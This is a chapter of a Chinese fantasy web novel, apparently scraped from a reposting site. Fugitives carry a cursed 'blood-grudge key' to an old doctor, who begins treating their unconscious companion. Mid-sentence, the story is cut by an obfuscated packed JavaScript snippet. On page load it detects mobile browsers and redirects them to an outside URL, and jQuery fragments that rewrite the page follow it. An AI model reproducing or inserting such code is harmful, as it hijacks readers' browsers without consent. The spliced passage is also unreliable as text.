123读书网 > 玄幻小说 > 邪神,接传票 > 84.回春堂内,何老辨症

84.回春堂内,何老辨症

    老槐树的浓荫遮蔽了大部分阳光,将“回春堂”的小院笼罩在一片清凉的幽暗中。院门半掩,门缝里隐约可见院内种着几丛草药,空气里弥漫着比街上更加浓郁、更加复杂的药香——那是无数种药材经过长时间熬煮、晾晒、研磨之后,沉淀下来的、独属于医馆的气息。


    晏清没有立刻推门。他拉着青萝闪到院墙拐角的阴影处,侧耳倾听。


    身后,隔着两条巷子的距离,隐约传来官兵挨家挨户搜查的嘈杂声,但尚未逼近此处。这条巷子偏僻幽深,除了回春堂,只有两三户人家,且都大门紧闭,不见人影。


    “进去。”晏清低声道。


    两人迅速推开院门,闪身而入,又将门轻轻掩上。


    院中静悄悄的,只有一只花猫慵懒地趴在药架下晒太阳,见有人来,抬了抬眼皮,又懒洋洋地闭上了。正屋的门虚掩着,里面隐约有翻动书页的声音。


    晏清上前,轻轻叩门。


    “进来。”


    一个苍老但中气十足的声音从屋内传出。


    晏清推开门,与青萝踏入屋内。


    屋内光线比院中更加幽暗,四面墙都是顶天立地的药柜,数不清的小抽屉上贴着发黄的标签。靠窗的位置放着一张宽大的诊桌,诊桌上堆满了医书、脉枕、笔墨砚台,还有几个打开的药包。诊桌后面,坐着一位须发皆白、面容清癯的老者,正低头翻阅一本泛黄的医书。


    老者抬起头,目光平静地看向门口的两人。


    他的眼睛很特别,虽然苍老,却不浑浊,反而透着一种洞悉世情的清明。他扫了晏清和青萝一眼,目光在他们身上的尘土、血迹和疲惫的脸上停留了一瞬,却没有丝毫惊讶或警惕,只是淡淡开口:


    “二位是来看病的,还是来找人的?”


    青萝上前一步,取出那枚刻着油纸伞图案的木牌,双手呈上:“何老大夫,是‘云雾山货’的唐掌柜介绍我们来的。我们有一位同伴重伤昏迷,急需救治。”


    何老接过木牌,看了一眼,放在诊桌上。他没有立刻回答,而是慢条斯理地端起茶杯,抿了一口,这才开口,语气依旧平淡:


    “唐掌柜介绍的人,按理说我该收。但二位可知道,此刻城中四处都在搜捕什么人?可知道,城南‘杏林堂’的张济民,昨夜已经失踪,他的医馆被查抄,家人也被带走问话?”


    青萝心头一紧,张了张嘴,不知如何作答。


    何老的目光从她脸上移开,落在晏清身上,停留片刻,忽然道:“这位小哥,身上带着的东西,可否让我一观?”


    晏清心中一震。何老说的,是血怨钥?


    他下意识地按了按怀中那枚微凉的符石,没有动。


    何老笑了笑,那笑容里没有恶意,只有一种见惯风浪的从容:“不必紧张。我不是官府的人,也不觊觎你身上的东西。只是你身上那股气息,太过浓烈,想不注意都难。若我没猜错,你怀里那东西,与阴邪之事有涉,且怨力极重。带着这种东西进城,如同黑夜举着火把走路——想不被盯上,都难。”


    晏清沉默片刻,终于从怀中取出那枚暗红色的血怨钥,置于诊桌上。


    石符一出,屋内瞬间弥漫开一股阴寒之意,连窗外的阳光都似乎暗淡了几分。药架上那只原本慵懒的花猫,猛地竖起尾巴,发出一声尖锐的嘶叫,蹿出院外,眨眼不见踪影。


    何老盯着那血怨钥,看了许久,脸上的从容渐渐被凝重取代。


    “这东西……你们从何处得来?”


    晏清简略地将昨夜永宁坊柳家棺材铺的事说了一遍,隐去了圣山祖灵渊等更深的秘密,只说是被迫卷入的恩怨。


    何老听完,沉默良久,缓缓叹了口气:


    “柳家……那是锦官城暗面的一颗毒瘤。三代人经营邪术,与官府中某些人暗通款曲,专做替人消灾、处理麻烦的勾当。只是他们行事隐秘,又有人庇护,旁人拿他们没办法。你们能活着从柳家出来,还带走了这东西……也算是命大。”


    他指着血怨钥,继续道:“这东西叫‘血怨钥’,是柳家三代心血所聚,本欲炼成操控怨尸、汇聚地脉阴气的‘母钥’。如今虽未完成最后一步,但已吸纳了槐树下的海量怨力,成了一个极其不稳定的怨力容器。它无时无刻不在向外散发微弱的气息,寻常人感知不到,但那些修炼阴邪之术、或者养着‘东西’的人,隔着几条街都能闻到。你们带着它,如同随身带着一盏指路明灯——难怪官兵能这么快追到云雾山货。”


    青萝脸色发白:“那……那我们该怎么办?”


    何老没有直接回答,而是看向晏清:“你那同伴在何处?”


    晏清道:“城西,废弃义庄下的暗渠中。”


    何老点头:“先把人带来。治病要紧。至于这东西……”他沉吟片刻,“暂时留在我这里。我有一间地下药窖,专门存放一些特殊的、需要避光的药材。那里阴凉封闭,或可暂时隔绝它的气息。待你们安顿好,再从长计议。”


    晏清与青萝对视一眼。这何老大夫,似乎比他们预想的更加深不可测。他不仅一眼看出血怨钥的来历,还敢主动揽下这个烫手山芋,绝非凡俗之辈。


    “多谢何老。”晏清抱拳。


    “不必谢我。”何老摆摆手,“我欠唐掌柜的人情,今日还了而已。你们速去带人,天黑前务必返回。入夜之后,城中巡逻会加严,且……”他顿了顿,目光中闪过一丝深意,“柳家那姓柳的,虽昨夜吃了大亏,但绝不会善罢甘休。他背后的人,也会动起来。你们的每一刻,都宝贵得很。”


    晏清不再多言,与青萝转身离开回春堂,循着原路,往暗渠方向赶去。


    ……


    暗渠之中,守拙与张济民正焦灼地等待。


    昏迷的陆明渊依旧平静地躺在岔洞最深处,面色苍白,呼吸平稳。守拙每隔一段时间便探一次他的脉象,虽然微弱,却始终没有恶化的迹象。


    “那孩子……有龟甲残存的灵蕴护体,暂时无碍。”守拙对张济民道,更像是在安慰自己,“但拖久了,终究不是办法。”


    张济民抱着药箱,瑟缩在角落,闻言只是点头,不敢多言。这位老大夫,此刻已经完全被这连番的惊险遭遇吓破了胆。


    不知过了多久,岔洞外传来极轻微的脚步声。


    守拙瞬间警觉,握紧了怀中仅剩的几枚铜钱。但那脚步声的节奏,他熟悉——


    “是晏清。”


    晏清与青萝钻入岔洞,带回了何老的消息。


    “回春堂的何老大夫愿意收治明渊,但他那里偏僻,需我们自己把人送过去。”晏清言简意赅,“而且,他说这东西……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176181|196482||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”他指了指怀中重新贴身收好的血怨钥,“会引来追踪。需要暂时存放在他那里。”


    守拙听完,眉头紧锁片刻,最终点头:“这位何老,能在城中经营多年而不倒,且敢收留我们,必有其过人之处。信他。”


    众人当即行动。


    晏清背起陆明渊,守拙与青萝搀扶张济民,一行五人,离开这处暂时的避难所,沿着来时的支渠,向永宁坊外那处贞节牌坊废墟的出口摸去。


    午后阳光正烈,废墟四周依旧荒芜无人。他们钻出暗渠,迅速穿过荒草,沿着何老指示的、更加隐蔽的小巷,小心翼翼地向城东回春堂方向移动。


    一路上,他们避开了几处官兵盘查的路口,躲过了一队巡逻的衙役,终于在日头偏西时,再次回到了那条僻静的巷子,推开了“回春堂”虚掩的院门。


    何老已在院中等候。


    他看了一眼昏迷的陆明渊,没有多问,只是挥了挥手:“抬进来,放在诊床上。”


    众人将陆明渊小心安置在诊室内侧的软榻上。何老坐在榻边,伸出三指,搭上陆明渊的脉门,闭目凝神。


    屋内一片寂静,只有墙上自鸣钟“滴答”的声响。


    良久,何老睁开眼,目光中闪过一丝凝重,又闪过一丝……难以置信。


    “这孩子的脉象……老夫行医五十年,从未见过。”他缓缓道,“并非病症,也不是寻常的内伤。他的魂魄极为疲惫,像是……承受了远超自身界限的某种‘重压’,导致灵识陷入深度沉睡,以自保。但奇怪的是,他体内又有一股极其精纯、中正平和的温润之力,正在缓慢滋养、修复着他的魂魄。那股力量……并非来自任何药物,倒像是……”他看向守拙,“像是某种古老传承的‘信物’,在他体内留下的印记。”


    守拙沉默片刻,缓缓点头:“何老慧眼。那确实是……一件古物所留。”


    何老没有追问古物的来历,只是沉吟道:“此等状况,非药石可医。老夫能做的,是以针灸引导那股温润之力,使其更有效地滋养魂魄,加速苏醒。同时辅以安神定魂的汤药,稳固心神。但能否醒来,何时醒来,还得看他自己的造化。”


    “有劳何老。”晏清沉声道。


    何老不再多言,起身打开药柜,取出一个针灸包,又吩咐张济民去后院煎药。张济民虽惊魂未定,但涉及救人,还是抖着手接过了药方。


    银针在昏黄的灯光下闪着微光,一根根刺入陆明渊头部的穴位。昏迷的陆明渊眉头微微蹙动了一下,但并未醒来。


    守拙守在榻边,青萝倚墙而立,晏清则走到院中,望向渐渐西沉的落日。


    院墙上,那只被血怨钥惊走的花猫不知何时又回来了,蹲在墙头,琥珀色的眼睛与晏清对视。


    远处,隐隐传来晚钟的声音。


    锦官城的一天,即将结束。


    而真正的夜晚,才刚刚开始。


    (第84章完)


    ---


    【下章预告】


    《夜半来客,深宅密谈》!陆明渊的救治刚刚开始,回春堂的宁静之夜,却被不速之客打破。来者何人?是追踪而至的柳家,还是更深不可测的城中势力?何老大夫的真实身份与立场,是否如表面那般简单?而晏清怀中的血怨钥,又将在这暗流涌动的夜晚,引发怎样的变数?